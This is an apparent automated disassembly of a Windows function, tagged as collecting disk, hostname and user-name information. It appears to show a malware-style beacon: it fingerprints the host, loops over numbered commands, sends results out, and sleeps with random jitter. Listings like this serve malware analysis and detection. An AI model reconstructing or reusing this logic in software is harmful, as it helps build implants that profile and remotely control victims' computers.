Function at 0x2c991421d
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x608
mov rbx, rdx
mov dword [rsp + 0x5fc], 0
lea rcx, [0x2c991e75e]
call fcn.2c9915bf5
mov rsi, rax
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x5fc]
mov r8d, 0
mov edx, 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov rcx, rsi
call fcn.2c9915c7c
mov dword [rsp + 0x3ac], 0x10
lea rdx, [rsp + 0x3ac]
lea rsi, [rsp + 0x3b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x3dc], 0x100
lea rbp, [rsp + 0x3e0]
lea r8, [rsp + 0x3dc]
mov rdx, rbp
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov dword [rsp + 0x19c], 0x101
lea rdx, [rsp + 0x19c]
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rcx, rbx
call sub.msvcrt.dll_wcslen
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rbx
call fcn.2c99120f0
xor eax, dword [rsp + 0x5fc]
mov dword [rsp + 0x5f0], eax
mov eax, dword [rsp + 0x3ac]
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rsi
call fcn.2c99120f0
mov ebx, eax
mov eax, dword [rsp + 0x19c]
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rdi
call fcn.2c99120f0
xor ebx, eax
mov dword [rsp + 0x5f4], ebx
lea rbx, [rsp + 0x5e0]
mov rcx, rbx
call fcn.2c9914dc0
lea rcx, [0x2c991d080]
call fcn.2c9915b70
mov r15, rax
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov r8, rbp
mov rdx, rbx
call fcn.2c9912a2f
mov qword [rsp + 0x60], rax
test rax, rax
je 0x2c991496a
mov edx, dword [rsp + 0x190]
mov rcx, rax
call fcn.2c99129af
mov r14, rax
test rax, rax
je 0x2c9914960
lea r13, [0x2c991e76e]
jmp 0x2c9914840
mov eax, dword [rbx + 4]
lea rdi, [rbx + 8]
test eax, eax
je 0x2c9914810
mov ebp, 0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
mov esi, eax
jmp 0x2c99144b1
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.2c9912bd6
mov rbx, rax
test rax, rax
je 0x2c99144a2
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c991449a
mov rcx, rax
call fcn.2c9914d92
mov rcx, rbx
call fcn.2c9914d92
add rdi, 8
add ebp, 1
cmp esi, ebp
je 0x2c9914801
cmp dword [rdi], 0xa
ja case.0x2c99144c6.0
mov eax, dword [rdi]
lea rbx, [0x2c991e774]
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.2c9912f93
mov rbx, rax
test rax, rax
je 0x2c9914555
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c991454d
mov rcx, rax
call fcn.2c9914d92
mov rcx, rbx
call fcn.2c9914d92
add rdi, 8
jmp case.0x2c99144c6.0
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.2c9913503
mov rbx, rax
test rax, rax
je 0x2c99145eb
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c99145e3
mov rcx, rax
call fcn.2c9914d92
mov rcx, rbx
call fcn.2c9914d92
add rdi, 8
jmp case.0x2c99144c6.0
lea rbx, [rdi + 0x10]
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9, r15
mov r8, rbx
call fcn.2c9913c54
mov rdx, rax
mov qword [rsp + 0x78], rax
mov rdi, rbx
test rax, rax
je case.0x2c99144c6.0
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c991468e
mov rcx, rax
call fcn.2c9914d92
mov rcx, qword [rsp + 0x78]
call fcn.2c9914d92
mov rdi, rbx
jmp case.0x2c99144c6.0
mov eax, dword [rdi + 0x10]
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea r8, [rsp + 0x190]
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r15
mov r8d, dword [rdi + 0x14]
mov dword [rsp + 0x20], r8d
lea r9, [rdi + rax - 8]
lea r8, [rdi + 0x18]
call fcn.2c9913701
mov rbx, rax
test rax, rax
je 0x2c9914746
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c991473e
mov rcx, rax
call fcn.2c9914d92
mov rcx, rbx
call fcn.2c9914d92
add rdi, 0x10
jmp case.0x2c99144c6.0
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9, r15
lea r8, [rdi + 0x10]
call fcn.2c991395a
mov rbx, rax
test rax, rax
je 0x2c99147e2
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [section..data]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.2c9912140
test rax, rax
je 0x2c99147da
mov rcx, rax
call fcn.2c9914d92
mov rcx, rbx
call fcn.2c9914d92
add rdi, 8
jmp case.0x2c99144c6.0
call fcn.2c99141ee
add rdi, 8
mov dword [rsp + 0x5c], 1
jmp case.0x2c99144c6.0
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
jmp 0x2c991491e
mov dword [rsp + 0x5c], eax
jmp 0x2c991491e
mov rcx, rsi
call fcn.2c9915c7c
mov rcx, r12
call fcn.2c9915c7c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xfff
lea ecx, [rax + 0xbb8]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x2c991d100]
call fcn.2c9915bf5
mov r12, rax
lea rcx, [0x2c991d0c0]
call fcn.2c9915bf5
mov rsi, rax
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x198]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 1
movzx r8d, word [section..data]
mov rdx, rsi
mov rcx, r12
call fcn.2c9912140
mov rbx, rax
test rax, rax
je 0x2c9914819
cmp dword [rsp + 0x198], 4
jbe 0x2c9914819
mov rcx, r15
call sub.msvcrt.dll_strlen
mov r8, rax
lea rdi, [rsp + 0x80]
mov rdx, r15
mov rcx, rdi
call fcn.2c9915130
mov r9d, dword [rsp + 0x198]
mov r8, rbx
mov rdx, rbx
mov rcx, rdi
call fcn.2c991519c
mov eax, dword [rsp + 0x198]
lea edx, [rax - 4]
lea rcx, [rbx + 4]
mov r8d, 0
call fcn.2c99120f0
mov dword [rsp + 0x5c], 0
cmp eax, dword [rbx]
je 0x2c99143f0
mov rcx, rbx
call fcn.2c9914d92
mov rcx, rsi
call fcn.2c9915c7c
mov rcx, r12
call fcn.2c9915c7c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xfff
lea ecx, [rax + 0xbb8]
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x5c], 0
je 0x2c9914840
mov rcx, r14
call fcn.2c9914d92
mov rcx, qword [rsp + 0x60]
call fcn.2c9914d92
mov rcx, r15
call fcn.2c9915c7c
nop
add rsp, 0x608
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret